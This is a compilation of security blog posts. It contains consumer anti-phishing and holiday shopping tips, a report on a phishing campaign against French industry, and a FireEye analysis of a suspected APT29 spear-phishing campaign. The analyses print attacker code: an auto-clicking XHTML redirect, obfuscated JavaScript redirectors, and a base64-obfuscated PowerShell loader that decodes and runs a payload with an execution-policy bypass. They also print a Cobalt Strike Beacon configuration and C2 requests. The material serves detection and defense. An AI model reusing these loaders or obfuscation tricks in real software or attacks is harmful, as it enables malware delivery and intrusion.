  • Look out for phishing red flags. If you notice that the “from” address in an email is a little sketchy or an unknown source, don’t interact with the message. And if you’re still unsure of whether the email is legitimate or not, hover your mouse over the button prompting you to click on the link (but don’t actually click on it). If the URL preview doesn’t seem to be related to the company, it is most likely a phishing email.
  • Be skeptical of emails claiming to come from legitimate companies. If you receive an email asking to confirm your login credentials, go directly to the company’s website. You should be able to check the status of your account on the company website or under the settings portion of the Spotify app to determine the legitimacy of the request.
  • Use security software to surf the web safely. Make sure you use a website reputation tool like McAfee WebAdvisor to avoid landing on phishing and malicious sites.

And, as always, to stay on top of the latest and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable?and ‘Like’ us on Facebook.

The post The Spotify Phishing Scam: How to Reel in This Cyberthreat appeared first on McAfee Blogs.

Phishing Campaign targeting French Industry

We have recently observed an ongoing phishing campaign targeting the French industry. Among these targets are organizations involved in chemical manufacturing, aviation, automotive, banking, industry software providers, and IT service providers. Beginning October 2018, we have seen multiple phishing emails which follow a similar pattern, similar indicators, and obfuscation with quick evolution over the course of the campaign. This post will give a quick look into how the campaign has evolved, what it is about, and how you can detect it.

Phishing emails

The phishing emails usually refer to some document that could either be an attachment or could supposedly be obtained by visiting the link provided. The use of the French language here appears to be native and very convincing.

The subject of the email follows the prefix of the attachment name. The attachments could be an HTML or a PDF file usually named as “document“, “preuves“, or “fact” which can be followed by underscore and 6 numbers. Here are some of the attachment names we have observed:

  • fact_395788.xht
  • document_773280.xhtml
  • 474362.xhtml
  • 815929.htm
  • document_824250.html
  • 975677.pdf
  • 743558.pdf

Here’s an example content of an XHTML attachment from 15th of November:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta content="UTF-8" />
</head>
<body onload='document.getElementById("_y").click();'>
<h1>
<a id="_y" href="https://t[.]co/8hMB9xwq9f?540820">Lien de votre document</a>
</h1>
</body>
</html>

 

Evolution of the campaign

The first observed phishing emails in the beginning of October contained an unobfuscated payload address. For example:

  • hxxp://piecejointe[.]pro/facture/redirect[.]php
  • hxxp://mail-server-zpqn8wcphgj[.]pw?client=XXXXXX

These links were inside HTML/XHTML/HTM attachments or simply as links in the email body. The attachment names used were mostly document_[randomized number].xhtml.

Towards the end of October these payload addresses were further obfuscated by putting them behind redirects. The author has developed a simple Javascript to obfuscate a bunch of .pw domains.

var _0xa4d9=["\x75\x71\x76\x6B\x38\x66\x74\x75\x77\x35\x69\x74\x38\x64\x73\x67\x6C\x63\x7A\x2E\x70\x77",
"\x7A\x71\x63\x7A\x66\x6E\x32\x6E\x6E\x6D\x75\x65\x73\x68\x38\x68\x74\x79\x67\x2E\x70\x77",
"\x66\x38\x79\x33\x70\x35\x65\x65\x36\x64\x6C\x71\x72\x37\x39\x36\x33\x35\x7A\x2E\x70\x77",
"\x65\x72\x6B\x79\x67\x74\x79\x63\x6F\x6D\x34\x66\x33\x79\x61\x34\x77\x69\x71\x2E\x70\x77",
"\x65\x70\x72\x72\x39\x71\x79\x32\x39\x30\x65\x62\x65\x70\x6B\x73\x6D\x6B\x62\x2E\x70\x77",
"\x37\x62\x32\x64\x75\x74\x62\x37\x76\x39\x34\x31\x34\x66\x6E\x68\x70\x36\x63\x2E\x70\x77",
"\x64\x69\x6D\x76\x72\x78\x36\x30\x72\x64\x6E\x7A\x36\x63\x68\x6C\x77\x6B\x65\x2E\x70\x77",
"\x78\x6D\x76\x6E\x6C\x67\x6B\x69\x39\x61\x39\x39\x67\x35\x6B\x62\x67\x75\x65\x2E\x70\x77",
"\x62\x72\x75\x62\x32\x66\x77\x64\x39\x30\x64\x38\x6D\x76\x61\x70\x78\x6E\x6C\x2E\x70\x77",
"\x68\x38\x39\x38\x6A\x65\x32\x68\x74\x64\x64\x61\x69\x38\x33\x78\x63\x72\x37\x2E\x70\x77",
"\x6C\x32\x6C\x69\x69\x75\x38\x79\x64\x7A\x6D\x64\x66\x30\x31\x68\x69\x63\x72\x2E\x70\x77",
"\x63\x79\x6B\x36\x6F\x66\x6D\x75\x6E\x6C\x35\x34\x72\x36\x77\x6B\x30\x6B\x74\x2E\x70\x77",
"\x7A\x78\x70\x74\x76\x79\x6F\x64\x6A\x39\x35\x64\x77\x63\x67\x6B\x6C\x62\x77\x2E\x70\x77",
"\x35\x65\x74\x67\x33\x6B\x78\x6D\x69\x78\x67\x6C\x64\x73\x78\x73\x67\x70\x65\x2E\x70\x77",
"\x38\x35\x30\x6F\x6F\x65\x70\x6F\x6C\x73\x69\x71\x34\x6B\x71\x6F\x70\x6D\x65\x2E\x70\x77",
"\x6F\x6D\x63\x36\x75\x32\x6E\x31\x30\x68\x38\x6E\x61\x71\x72\x30\x61\x70\x68\x2E\x70\x77",
"\x63\x30\x7A\x65\x68\x62\x74\x38\x6E\x77\x67\x6F\x63\x35\x63\x6E\x66\x33\x30\x2E\x70\x77",
"\x68\x36\x6A\x70\x64\x6B\x6E\x7A\x76\x79\x63\x61\x36\x6A\x67\x33\x30\x78\x74\x2E\x70\x77",
"\x74\x64\x32\x6E\x62\x7A\x6A\x6D\x67\x6F\x36\x73\x6E\x65\x6E\x6A\x7A\x70\x72\x2E\x70\x77",
"\x6C\x69\x70\x71\x76\x77\x78\x63\x73\x63\x34\x75\x68\x6D\x6A\x36\x74\x6D\x76\x2E\x70\x77",
"\x31\x33\x72\x7A\x61\x75\x30\x69\x64\x39\x79\x76\x37\x71\x78\x37\x76\x6D\x78\x2E\x70\x77",
"\x6B\x64\x33\x37\x68\x62\x6F\x6A\x67\x6F\x65\x76\x6F\x63\x6C\x6F\x7A\x77\x66\x2E\x70\x77",
"\x66\x75\x67\x65\x39\x69\x6F\x63\x74\x6F\x38\x39\x63\x6B\x36\x7A\x62\x30\x76\x2E\x70\x77",
"\x70\x6D\x63\x35\x6B\x71\x6C\x78\x6C\x62\x6C\x78\x30\x65\x67\x74\x63\x37\x32\x2E\x70\x77",
"\x30\x71\x38\x31\x73\x73\x72\x74\x68\x69\x72\x63\x69\x62\x70\x6A\x62\x33\x38\x2E\x70\x77","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x68\x74\x74\x70\x3A\x2F\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];
var arr=[_0xa4d9[0],_0xa4d9[1],_0xa4d9[2],_0xa4d9[3],_0xa4d9[4],_0xa4d9[5],_0xa4d9[6],_0xa4d9[7],_0xa4d9[8],_0xa4d9[9],_0xa4d9[10],_0xa4d9[11],_0xa4d9[12],_0xa4d9[13],_0xa4d9[14],_0xa4d9[15],_0xa4d9[16],_0xa4d9[17],_0xa4d9[18],_0xa4d9[19],_0xa4d9[20],_0xa4d9[21],_0xa4d9[22],_0xa4d9[23],_0xa4d9[24]];
var redir=arr[Math[_0xa4d9[27]](Math[_0xa4d9[25]]()* arr[_0xa4d9[26]])];
window[_0xa4d9[30]][_0xa4d9[29]](_0xa4d9[28]+ redir)

This Javascript code, which was part of the attachment, deobfuscated an array of [random].pw domains that redirected the users to the payload domain. In this particular campaign, the payload domain has changed to hxxp://email-document-joint[.]pro/redir/.

However, it appears that the use of Javascript code inside attachments was not a huge success as only some days later, the Javascript code for domain deobfuscation and redirection has been moved behind pste.eu, a Pastebin-like service for HTML code. So then the phishing emails thereafter contained links to pste.eu such as hxxps[://]pste[.]eu/p/yGqK[.]html.

In the next iteration of evolution during November, we observed few different styles. Some emails contained links to subdomains of random .pw or .site domains such as:

  • hxxp://6NZX7M203U[.]p95jadah5you6bf1dpgm[.]pw
  • hxxp://J8EOPRBA7E[.]jeu0rgf5apd5337[.]site.

At this point .PDF files were also seen in the phishing emails as attachments. Those PDFs contained similar links to a random subdomain in .site or .website domains.

Few days later at 15th of November, the attackers continued to add redirections in between the pste.eu URLs by using Twitter shortened URLs. They used a Twitter account to post 298 pste.eu URLs and then included the t.co equivalents into their phishing emails. The Twitter account appears to be some sort of advertising account with very little activity since its creation in 2012. Most of the tweets and retweets are related to Twitter advertisement campaigns or products/lotteries etc.

 

The pste.eu links in Twitter

 

Example of the URL redirections

The latest links used in the campaign are random .icu domains leading to 302 redirection chain. The delivery method remained as XHTML/HTML attachments or links in the emails. The campaign appears to be evolving fairly quickly and the attackers are active in generating new domains and new ways of redirection and obfuscation. At the time of writing, it seems the payload URLs lead to an advertising redirection chain with multiple different domains and URLs known for malvertising.

 

Infrastructure

The campaign has been observed using mostly compromised Wanadoo email accounts and later email accounts in their own domains such as: rault@3130392E3130322E37322E3734.lho33cefy1g.pw to send out the emails. The subdomain name is the name of the sending email server and is a hex representation of the public IP address of the server, in this case: 109.102.72.74.

The server behind the .pw domain appears to be a postfix email server listed already on multiple blacklists. For compromised email accounts used for sending out the phishing emails, they are always coming from .fr domains.

The links in the emails go through multiple URLs in redirection chains and most of the websites are hosted in the same servers.

Following the redirections after the payload domains (e.g. email-document-joint[.]pro or .pw payload domains) later in November, we get redirected to domains such as ffectuermoi[.]tk or eleverqualit[.]tk. These were hosted on the same servers with a lot of similar looking domains. Closer investigation of these servers revealed that they were known for hosting PUP/Adware programs and more malvertising URLs.

Continuing on to ffectuermoi[.]tk domain would eventually lead to doesok[.]top, which serves advertisements while setting cookies along the way. The servers hosting doesok[.]top are also known for hosting PUP/adware/malware.

 

Additional Find

During the investigation we came across an interesting artifact in Virustotal submitted from France. The file is a .zip archive that contained the following

  • All in One Checker” tool – a tool that can be used to verify email account/password dumps for valid accounts/combinations
  • .vbs dropper – a script that drops a backdoor onto the user’s system upon executing the checker tool
  • Directory created by the checker tool – named with the current date and time of the tool execution that contains results in these text files:
    • Error.txt – contains any errors
    • Good.txt – verified results
    • Ostatok.txt – Ostatok means “the rest” or “remainder”

Contents of the .zip file. 03.10_17:55 is the directory created by the tool containing the checker results. Both .vbs are exactly the same backdoor dropper. The rest are configuration files and the checker tool itself.

 

Contents of the directory created by the checker tool

Almost all of the email accounts inside these .txt files are from .fr domains, and one of them is actually the same address we saw used as a sender in one of the phishing emails in 19th of October. Was this tool used by the attackers behind this campaign? It seems rather fitting.

But what caused them to ZIP up this tool along with the results to Virustotal?

When opening the All In One Checker tool, you are greeted with a lovely message and pressing continue will attempt to install the backdoor.

We replaced the .vbs dropper with Wscript.Echo() alert

 

Hey great!

Perhaps they wanted to check the files because they accidentally infected themselves with a backdoor.

 

Indicators

This is a non-exhaustive list of indicators observed during the campaign.

2bv9npptni4u46knazx2.pw
p95jadah5you6bf1dpgm.pw
lho33cefy1g.pw
mail-server-zpqn8wcphgj.pw
http://piecejointe.pro/facture/redirect.php
http://email-document-joint.pro/redir/
l45yvbz21a.website
95plb963jjhjxd.space
sjvmrvovndqo2u.icu
jeu0rgf5apd5337.site
95.222.24.44 - Email Server
109.102.72.74 - Email Server
83.143.150.210 - Email Server
37.60.177.228 - Web Server / Malware C2  
87.236.22.87 Web Server / Malware C2 
207.180.233.109 - Web Server
91.109.5.170 - Web Server
162.255.119.96 - Web Server
185.86.78.238 - Web Server
176.119.157.62 - Web Server
113.181.61.226

The following indicators have been observed but are benign and can cause false positives.

https://pste.eu
https://t.co

8 Ways to Secure Your Family’s Online Holiday Shopping

It’s officially the most wonderful time of the year — no doubt about it. But each year, as our reliance and agility on our mobile devices increases, so too might our impulsivity and even inattention when it comes to digital transactions.

Before getting caught up in the whirlwind of gift giving and the thrill of the perfect purchase, consider taking a small pause. Stop to consider that as giddy as you may be to find that perfect gift, hackers are just as giddy this time of year to catch shoppers unaware and snatch what they can from the deep, digital holiday coffers. In fact, according to the FBI’s Internet Crime Complaint Center, the number one cybercrime of 2017 was related to online shopping; specifically, payment for or non-delivery of goods purchased.

8 Ways to Secure Your Family’s Holiday Shopping Online

  1. Make it a family discussion. Make no assumptions when it comes to what your kids do and do not understand (and practice) when it comes to shopping safely online. Go over the points below as a family. Because kids are nearly 100% mobile, online shopping and transactions can move swiftly, and the chances of making a mistake or falling prey to a scam can increase. Caution kids to slow down and examine every website and link in the buying journey.
  2. Beware of malicious links. The most common forms of fraud and cyber attacks are phishing scams and socially-engineered malware. Check links before you click them and consider using McAfee® WebAdvisor, a free download that safeguards you from malware and phishing attempts while you surf — without impacting your browsing performance.
  3. Don’t shop on unsecured wi-fi. Most public networks don’t encrypt transmitted data, which makes all your online activity on public wi-fi vulnerable to hackers. Resist shopping on an unsecured wireless network (at a coffee shop, library, airport). Instead, do all of your online shopping from your secure home computer. If you have to conduct transactions on a public Wi-Fi connection use a virtual private network (VPN) such as McAfee® SafeConnect to maintain a secure connection in public places. To be sure your home network is safe, secure your router.
  4. Is that site legit? Before purchasing a product online, check the URL carefully. If the address bar says “HTTP” instead of “HTTPS” in its URL, do not purchase from the site. As of July 2018, unsecured sites now include a “Not Secure” warning, which is very helpful to shoppers. Also, an icon of a locked padlock will appear to the left of the URL in the address bar or the status bar down below depending on your browser. Cybercriminals can make a fake site look very close to the real thing. One added step: Google the site if anything feels wrong about it, and you may find some unlucky consumers sharing their stories.
  5. Review bills closely. Review your credit card statements in January and February, when your holiday purchases will show up. Credit cards offer better fraud protection than debit. So, if you’re shopping online during the holidays, give yourself an extra layer of protection from scams by using a credit card. Think about using the same card between family members to make checking your bill easier.
  6. Create new, strong passwords. If you are getting ready to do a lot of shopping online, it’s a great time to update your passwords. Choose a password that is unhackable rather than one that is super easy to remember.
  7. Verify charities. One of the best things about the holidays is the spirit of giving. Hackers and crooks know this and are working hard to trick innocent givers. This reality means that some seasonal charities may be well-devised scams. Before you donate, be sure to do a little research. Look at the website’s URL; it’s design, its security badges. Google the charity and see if any scams have been reported.
  8. Protect your data from third parties. Sites may contain “third parties,” which are other embedded websites your browser talks to such as advertisers, website analytics engines, that can watch your browsing behavior. To protect your data when shopping and get rid of third-party access, you need to wipe your cookies (data trackers) clean using your settings, then change your browser settings (choose “block third-party cookies and site data”) to make sure the cookies can’t track your buying behavior. You can also go into your settings and direct your browser to shop in private or incognito mode.

No one is immune to holiday scams. Many scams are intricately designed and executed so that even the savviest consumer is duped. You can enjoy the shopping that comes with the holidays by keeping these few safety precautions in mind. Don’t let your emotional desire for that perfect gift override your reasoning skills. Listen to your intuition when it comes to suspicious websites, offers, emails, pop-up ads, and apps. Pause. Analyze. And make sure you are purchasing from a legitimate site.

Stay safe and WIN: Now that you’ve read about safe shopping basics, head over to our Protect What Matters site. If you successfully complete the Holiday Online Shopping Adventure quiz, you can enter your email address for the chance to win a tech prize pack with some of this season’s hottest smart gadgets. Have fun, and stay safe online this holiday season!

 

The post 8 Ways to Secure Your Family’s Online Holiday Shopping appeared first on McAfee Blogs.

Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign

Introduction

  • FireEye devices detected intrusion attempts against multiple industries, including think tank, law enforcement, media, U.S. military, imagery, transportation, pharmaceutical, national government, and defense contracting.
  • The attempts involved a phishing email appearing to be from the U.S. Department of State with links to zip files containing malicious Windows shortcuts that delivered Cobalt Strike Beacon.
  • Shared technical artifacts; tactics, techniques, and procedures (TTPs); and targeting connect this activity to previously observed activity suspected to be APT29.
  • APT29 is known to transition away from phishing implants within hours of initial compromise.

On November 14, 2018, FireEye detected new targeted phishing activity at more than 20 of our clients across multiple industries.

The attacker appears to have compromised the email server of a hospital and the corporate website of a consulting company in order to use their infrastructure to send phishing emails. The phishing emails were made to look like secure communication from a Public Affairs official at the U.S. Department of State, hosted on a page made to look like another Department of State Public Affairs official's personal drive, and used a legitimate Department of State form as a decoy. This information could be obtained via publicly available data, and there is no indication that the Department of State network was involved in this campaign. The attacker used unique links in each phishing email and the links that FireEye observed were used to download a ZIP archive that contained a weaponized Windows shortcut file, launching both a benign decoy document and a Cobalt Strike Beacon backdoor, customized by the attacker to blend in with legitimate network traffic.

Several elements from this campaign – including the resources invested in the phishing email and network infrastructure, the metadata from the weaponized shortcut file payload, and the specific victim individuals and organizations targeted – are directly linked to the last observed APT29 phishing campaign from November 2016. This blog post explores those technical breadcrumbs and the possible intentions of this activity.

Attribution Challenges

Conclusive FireEye attribution is often obtained through our Mandiant consulting team's investigation of incidents at compromised organizations, to identify details of the attack and post-compromise activity at victims. FireEye is still analyzing this activity.

There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected APT29 phishing campaign on 9 November 2016, both of which occurred shortly after U.S. elections. However, the new campaign included creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and procedures (TTPs), including using the same system to weaponize a Windows shortcut (LNK) file. APT29 is a sophisticated actor, and while sophisticated actors are not infallible, seemingly blatant mistakes are cause for pause when considering historical uses of deception by Russian intelligence services. It has also been over a year since we have conclusively identified APT29 activity, which raises questions about the timing and the similarities of the activity after such a long interlude.

Notable similarities between this and the 2016 campaign include the Windows shortcut metadata, targeted organizations and specific individuals, phishing email construction, and the use of compromised infrastructure. Notable differences include the use of Cobalt Strike, rather than custom malware; however, many espionage actors do use publicly and commercially available frameworks for reasons such as plausible deniability.

During the phishing campaign, there were indications that the site hosting the malware was selectively serving payloads. For example, requests using incorrect HTTP headers reportedly served ZIP archives containing only the benign publicly available Department of State form. It is possible that the threat actor served additional and different payloads depending on the link visited; however, FireEye has only observed two: the benign and Cobalt Strike variations.

We provide details of this in the activity summary. Analysis of the campaign is ongoing, and we welcome any additional information from the community.

Activity Summary

The threat actor crafted the phishing emails to masquerade as a U.S. Department of State Public Affairs official sharing an official document. The links led to a ZIP archive that contained a weaponized Windows shortcut file hosted on a likely compromised legitimate domain, jmj[.].com. The shortcut file was crafted to execute a PowerShell command that read, decoded, and executed additional code from within the shortcut file.

Upon execution, the shortcut file dropped a benign, publicly available, U.S. Department of State form and Cobalt Strike Beacon. Cobalt Strike is a commercially available post-exploitation framework. The BEACON payload was configured with a modified variation of the publicly available "Pandora" Malleable C2 Profile and used a command and control (C2) domain – pandorasong[.]com – assessed to be a masquerade of the Pandora music streaming service. The customization of the C2 profile may have been intended to defeat less resilient network detection methods dependent on the default configurations. The shortcut metadata indicates it was built on the same or very similar system as the shortcut used in the November 2016 campaign. The decoy content is shown in Figure 1.


Figure 1: Decoy document content

Similarities to Older Activity

This activity has TTP and targeting overlap with previous activity, suspected to be APT29. The malicious LNK used in the recent spearphishing campaign, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), has technical overlaps with a suspected APT29 LNK from November 2016, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5: f713d5df826c6051e65f995e57d6817d), which was publicly reported by Volexity. The 2018 and 2016 LNK files are similar in structure and code, and contain significant metadata overlap, including the MAC address of the system on which the LNK was created.

Additional overlap was observed in the targeting and tactics employed in the phishing campaigns responsible for distributing these LNK file. Previous APT29 activity targeted some of the same recipients of this email campaign, and APT29 has leveraged large waves of emails in previous campaigns.

Outlook and Implications

Analysis of this activity is ongoing, but if the APT29 attribution is strengthened, it would be the first activity uncovered from this sophisticated group in at least a year. Given the widespread nature of the targeting, organizations that have previously been targeted by APT29 should take note of this activity. For network defenders, whether or not this activity was conducted by APT29 should be secondary to properly investigating the full scope of the intrusion, which is of critical importance if the elusive and deceptive APT29 operators indeed had access to your environment.  

Technical Details

Phishing

Emails were sent from DOSOneDriveNotifications-svCT-Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm[.]org with the subject Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you. The distribution of emails varied significantly between the affected organizations. While most targeted FireEye customers received three or fewer emails, some received significantly more, with one customer receiving 136.

Each phishing email contained a unique malicious URL, likely for tracking victim clicks. The pattern of this URL is shown in Figure 2.


Figure 2: Malicious URL structure

Outside of the length of the sender email address, which may have been truncated on some recipient email clients, the attacker made little effort to hide the true source of the emails, including that they were not actually sent from the Department of State. Figure 3 provides a redacted snapshot of email headers from the phishing message.


Figure 3: Redacted email headers

The malicious links are known to have served two variants of the file ds7002.zip. The first variant (MD5: 3fccf531ff0ae6fedd7c586774b17a2d), contained ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c). ds7002.lnk was a malicious shortcut (LNK) file that contained an embedded BEACON DLL and decoy PDF, and was crafted to launch a PowerShell command. On execution, the PowerShell command extracted and executed the Cobalt Strike BEACON backdoor and decoy PDF. The other observed variant of ds7002.zip (MD5: 658c6fe38f95995fa8dc8f6cfe41df7b) contained only the benign decoy document. The decoy document ds7002.pdf (MD5: 313f4808aa2a2073005d219bc68971cd) appears to have been downloaded from hxxps://eforms.state.gov/Forms/ds7002.PDF.

The BEACON backdoor communicated with the C2 domain pandorasong[.]com (95.216.59[.]92). The domain leveraged privacy protection, but had a start of authority (SOA) record containing vleger@tutanota.com.

Our analysis indicates that the attacker started configuring infrastructure approximately 30 days prior to the attack. This is a significantly longer delay than many other attackers we track. Table 1 contains a timeline of this activity.

Time

Event

Source

2018-10-15 15:35:19Z

pandorasong[.]com registered

Registrant Information

2018-10-15 17:39:00Z

pandorasong[.]com SSL certificate established

Certificate Transparency

2018-10-15 18:52:06Z

Cobalt Strike server established

Scan Data

2018-11-02 10:25:58Z

LNK Weaponized

LNK Metadata

2018-11-13 17:58:41Z

3fccf531ff0ae6fedd7c586774b17a2d modified

Archive Metadata

2018-11-14 01:48:34Z

658c6fe38f95995fa8dc8f6cfe41df7b modified

Archive Metadata

2018-11-14 08:23:10Z

First observed phishing e-mail sent

Telemetry

Table 1: Operational timeline

Execution

Upon execution of the malicious LNK, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), the following PowerShell command was executed:

\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass
$zk='JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5
rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0ZW0gLVBhdGggJE
Vudjp0ZW1wIC1GaWx0ZXIgJHRiIC1SZWN1cnNlO2lmICgtbm90ICRvZSkge2V4aXR9W
0lPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJG9lLkRpcmVjdG9yeU5hbWUp
O30kdnp2aT1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJHRiLCdPcGVuJywnUmVhZCcsJ
1JlYWRXcml0ZSc7JG9lPU5ldy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QpOyRyPSR2en
ZpLlNlZWsoJHB0Z3QsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmVhZC
gkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRdOjpGcm9tQmFzZTY0Q2hhckFy
cmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ0lJL
kdldFN0cmluZygkb2UpO2lleCAkems7';$fz='FromBase'+0x40+'String';$rhia=[Text.E
ncoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex $rhia;

This command included some specific obfuscation, which may indicate attempts to bypass specific detection logic. For example, the use of 'FromBase'+0x40+'String', in place of FromBase64String, the PowerShell command used to decode base64.

The decoded command consisted of additional PowerShell that read the content of ds7002.lnk from offset 0x5e2be to offset 0x623b6, base64 decoded the extracted content, and executed it as additional PowerShell content. The embedded PowerShell code decoded to the following:

$ptgt=0x0005e2be;
$vcq=0x000623b6;
$tb="ds7002.lnk";
if (-not(Test-Path $tb))
{
$oe=Get-ChildItem -Path $Env:temp -Filter $tb -Recurse;
if (-not $oe)
{
   exit
}
[IO.Directory]::SetCurrentDirectory($oe.DirectoryName);
}
$vzvi=New-Object IO.FileStream $tb,'Open','Read','ReadWrite';
$oe=New-Object byte[]($vcq-$ptgt);
$r=$vzvi.Seek($ptgt,[IO.SeekOrigin]::Begin);
$r=$vzvi.Read($oe,0,$vcq-$ptgt);
$oe=[Convert]::FromBase64CharArray($oe,0,$oe.Length);
$zk=[Text.Encoding]::ASCII.GetString($oe);
iex $zk;

When the decoded PowerShell is compared to the older 2016 PowerShell embedded loader (Figure 4), it's clear that similarities still exist. However, the new activity leverages randomized variable and function names, as well as obfuscating strings contained in the script.


Figure 4: Shared functions to loader in older activity (XOR decode function and CopyFilePart)

The PowerShell loader code is obfuscated, but a short de-obfuscated snippet is shown as follows. The decoy PDF and BEACON loader DLL are read from specific offsets within the LNK, decoded, and their contents executed. The BEACON loader DLL is executed with the export function "PointFunctionCall":

[TRUNCATED]
$jzffhy = [IO.FileAccess]::READ
$gibisec = myayxvj $("ds7002.lnk")
$oufgke = 0x48bd8
$wabxu = 0x5e2be - $oufgke
$lblij = bygtqi $gibisec $oufgke $wabxu $("%TEMP%\ds7002.PDF") Invoke-Item
$((lylyvve @((7,(30 + 0x34 - 3),65,(84 - 5),(-38 + 112),(-16 + 0x25 + 52))) 35))
$oufgke = 0x0dd8
$wabxu = 0x48bd8 - $oufgke
$yhcgpw = bygtqi $gibisec $oufgke $wabxu $("%LOCALAPPDATA%\cyzfc.dat") if
($ENV:PROCESSOR_ARCHITECTURE -eq $("AMD64")) { & ($("rundll32.exe")) $(",")
$("PointFunctionCall") }

Files Dropped

Upon successful execution of the LNK file, it dropped the following files to the victim's system:

  • %APPDATA%\Local\cyzfc.dat (MD5: 16bbc967a8b6a365871a05c74a4f345b)
    • BEACON loader DLL
  • %TEMP%\ds7002.PDF (MD5: 313f4808aa2a2073005d219bc68971cd)
    • Decoy document

The dropped BEACON loader DLL was executed by RunDll32.exe using the export function "PointFunctionCall":

"C:\Windows\system32\rundll32.exe"
C:\Users\Administrator\AppData\Local\cyzfc.dat, PointFunctionCall

The BEACON payload included the following configuration:

authorization_id: 0x311168c
dns_sleep: 0
http_headers_c2_post_req:
  Accept: */*
  Content-Type: text/xml
  X-Requested-With: XMLHttpRequest
  Host: pandorasong.com
http_headers_c2_request:
  Accept: */*
  GetContentFeatures.DLNA.ORG: 1
  Host: pandorasong[.]com
  Cookie:  __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
jitter: 17
named_pipes: \\\\%s\\pipe\\msagent_%x
process_inject_targets:
  %windir%\\syswow64\\rundll32.exe
  %windir%\\sysnative\\rundll32.exe
beacon_interval: 300
c2:
  conntype: SSL
  host: pandorasong[.]com
  port: 443
c2_urls:
  pandorasong[.]com/radio/xmlrpc/v45
  pandorasong[.]com/access/
c2_user_agents: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Network Communications

After successful installation/initialization of the malware, it made the following callback to the C2 server pandorasong[.]com via TCP/443 SSL. The sample was configured to use a malleable C2 profile for its network communications. The specific profile used appears to be a modified version of the publicly available Pandora C2 profile. The profile may have been changed to bypass common detections for the publicly available malleable profiles. The following is a sample GET request:

GET /access/?version=4&lid=1582502724&token=ajlomeomnmeapoagcknffjaehikhmpep
Bdhmoefmcnoiohgkkaabfoncfninglnlbmnaahmhjjfnopdapdaholmanofaoodkiokobenhjd
Mjcmoagoimbahnlbdelchkffojeobfmnemdcoibocjgnjdkkbfeinlbnflaeiplendldlbhnhjmbg
agigjniphmemcbhmaibmfibjekfcimjlhnlamhicakfmcpljaeljhcpbmgblgnappmkpbcko
HTTP/1.1
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong.com
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like
Gecko
Connection: Keep-Alive
Cache-Control: no-cache

Similarities to Older Activity

Figure 5 and Figure 6 show the overlapping characteristics between the LNK used in the recent spear phish emails, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), compared to a suspected APT29 LNK from the November 2016 attack that led to the SPIKERUSH backdoor, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5: f713d5df826c6051e65f995e57d6817d).


Figure 5: LNK characteristics: new activity (left) and old activity (right)


Figure 6: LNK characteristics: new activity (left) and old activity (right)

In addition to similar LNK characteristics, the PowerShell command is very similar to the code from the older sample that executed the SPIKERUSH backdoor. Some of the same variable names are retained in this new version, as seen in Figure 7 and Figure 8.


Figure 7: Embedded PowerShell: new activity (left) and old activity (right)


Figure 8: Shared string obfuscation logic: new LNK activity (left) and old VERNALDROP activity (right)

Indicators

Indicator

Description

dosonedrivenotifications-svct-mailboxe36625aaa85747214aa50342836a2315aaa36
928202aa46271691a8255aaa15382822aa25821925a
0245@northshorehealthgm[.]org

Phishing email address from likely compromised legitimate server

Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you

Phishing email subject

https://www.jmj[.]com/personal/nauerthn_state_gov/*

Malware hosting location on likely compromised legitimate domain

pandorasong[.]com

BEACON C2

95.216.59[.]92

Resolution of pandorasong[.]com

2b13b244aafe1ecace61ea1119a1b2ee

SSL certificate for pandorasong[.]com

3fccf531ff0ae6fedd7c586774b17a2d

Malicious ZIP archive MD5

658c6fe38f95995fa8dc8f6cfe41df7b

Benign ZIP archive MD5

6ed0020b0851fb71d5b0076f4ee95f3c

Malicious LNK file MD5

313f4808aa2a2073005d219bc68971cd

Benign decoy PDF MD5

16bbc967a8b6a365871a05c74a4f345b

BEACON DLL MD5

%APPDATA%\Local\cyzfc.dat

BEACON DLL file path

%TEMP%\ds7002.PDF

Benign decoy PDF file path

Table 2: Indicators

Related Samples

37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5: f713d5df826c6051e65f995e57d6817d)

FireEye Detection

